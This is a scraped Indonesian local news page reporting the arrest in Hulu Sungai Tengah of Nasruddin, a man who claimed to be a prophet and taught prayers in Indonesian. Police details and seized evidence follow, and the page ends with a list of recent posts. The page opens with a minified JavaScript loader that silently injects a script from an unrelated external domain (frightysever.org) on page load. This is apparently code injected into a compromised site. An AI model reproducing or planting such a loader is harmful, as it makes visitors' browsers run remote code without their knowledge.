(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HST

Ajaran Sesat Nasruddin, ‘Nabi’ Palsu yang Kini Meringkuk di Tahanan Polres HST


BARABAI, Warga Desa Kahakan Kecamatan Batu Benawa Kabupaten Hulu Sungai Tengah (HST) digegerkan penangkapan Nasruddin (59), warga Jalan Penas Tani IV Rt 003 / 011 Desa Kahakan Kecamatan Batu Benawa, KabupatenHST. Ia mengaku sebagai ‘nabi’ sekaligus mengajarkan ajaran sesat diluar syariat Islam.

Dalam konferensi pers pengungkapan kasus tindak pidana penistaan agama yang dipimpin langsung Kapolres HST AKBP Sabana Atmojo, terungkap ajaran yang disebarkan Nasrudin menuntut shalat wajib maupun sunah harus menggunakan bahasa Indonesia. Bukan menggunakan Bahasa Arab. “Selain itu Lafazd dua kalimat Syahadat juga turut diubah atas keinginan pelaku,” kata Kapolres.

Di depan rekan rekan wartawan media, AKBP Sabana juga mengatakan bahwa ilmu dari Kitab hikmah dan rahasia dari kitab Allah, semua bacaan sholat dari awal hingga akhir memakai bahasa Indonesia. “Sekarang tidak perlu di pakai lagi, karena Nabi Muhammad SAW sudah meninggal dunia. Begitu yang diajarkan pelaku,” lanjut Kapolres.

Sementara untuk hari kegiatan pengajian yang dilaksanakan Nasruddin dan para jemaahnya dilakukan pada hari Senin, Jumat, dan Sabtu.

Kapolres mengatakan sebelum Nasrudin diamankan oleh kepolisian, permasalahan tersebut telah dibawa dan ditangani dalam beberapa kali Rapat PAKEM (Pengawasan Terhadap Aliran Kepercayaan Dan Keagamaan) Kabupaten HST dengan menghadirkan tersangka. Hingga disimpulkan, bahwa ajaran Nasruddin adalah aliran sesat. Bersamaan dengan itu, juga dikeluarkan Surat Rekomendasi kepada Bupati tertanggal 18 Oktober 2019 agar mengeluarkan SK Pelarangan ajaran Nasruddin.

Hingga akhirnya, Senin (2/12) pukul 10.00 wita dilaksanakan pemeriksaan terhadap Nasrudin beserta para pengikutnya dan didapat alat bukti berupa surat lembaran yang diakui sebagai Kitab Al – Furqon berbahasa Indonesia sebagai pegangan ajarannya.

Selanjutnya, penyidik melakukan Gelar Perkara dan menetapkan NS sebagai tersangka dan melakukan penangkapan serta penahanan. Dari penggeledahan di rumah dan pondok tempat menyebarkan ajarannya, petugas dari Polres HST mengamankan barang bukti berupa 1 buah laptop merk Toshiba warna hitam lengkap dengan chagernya, 1 buah mesin laminating merk Origin Or-330, 1 buah printer merk Pixma ip 1980 warna hitam, dan 25 lembar kertas yang berlaminating yang disebut Al – Furqan.

Dalam Konferensi pers ini, Kapolres HST AKBP Sabana Atmojo, S.I.K, M.H. menghimbau kepada masyarakat agar tidak terpancing dengan isu isu yang tidak benar dan percayakan proses hukum kepada Kepolisian. “Apabila ada temuan baru yang berkaitan dengan hal ini akan kami kabarkan kembali. Sekali lagi, serahkan semuanya kepada pihak berwajib untuk diproses sesuai dengan hukum yang berlaku,” tutup AKBP Sabana Atmojo. (polres HST)

Reporter : Polres HST
Editor : Chell


Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

37 menit ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

3 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

5 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

5 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

8 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

8 jam ago

This website uses cookies.